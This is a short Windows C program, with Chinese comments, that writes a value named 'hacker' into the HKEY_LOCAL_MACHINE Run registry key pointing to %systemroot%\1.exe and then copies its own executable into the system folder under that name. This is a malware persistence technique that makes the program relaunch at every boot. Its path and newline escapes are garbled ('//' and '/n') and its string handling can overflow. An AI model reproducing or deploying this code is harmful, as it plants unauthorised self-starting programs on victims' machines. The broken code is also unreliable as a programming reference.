#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkResult;
char regName[] = "Software//Microsoft//Windows//CurrentVersion//Run";
int ret;
// ret = RegOpenKey(HKEY_LOCAL_MACHINE,regName,&hkResult);
ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE, regName, 0, KEY_ALL_ACCESS, &hkResult ); //打开注册表
ret = RegSetValueEx( hkResult, "hacker", 0, REG_EXPAND_SZ, (unsigned char *)"%systemroot%//1.exe", 25 ); //写值
if( 0 == ret ) //判断是否成功
{
printf("success to write run key/n");
RegCloseKey( hkResult );
}
else
{
printf("error!");
return 0;
}
char exePath[256];
char sysPath[256];
GetModuleFileName( 0, exePath, 256 ); //得到当前运行的程序名
GetSystemDirectory( sysPath, 256 ); // 得到系统文件夹
ret = CopyFile( exePath, strcat( sysPath, "//1.exe" ), 1 ); // 把当前程序写到系统文件夹下
if(ret) // 判断是否成功
printf("success!/n");
else
printf("error!/n");
return 0;
}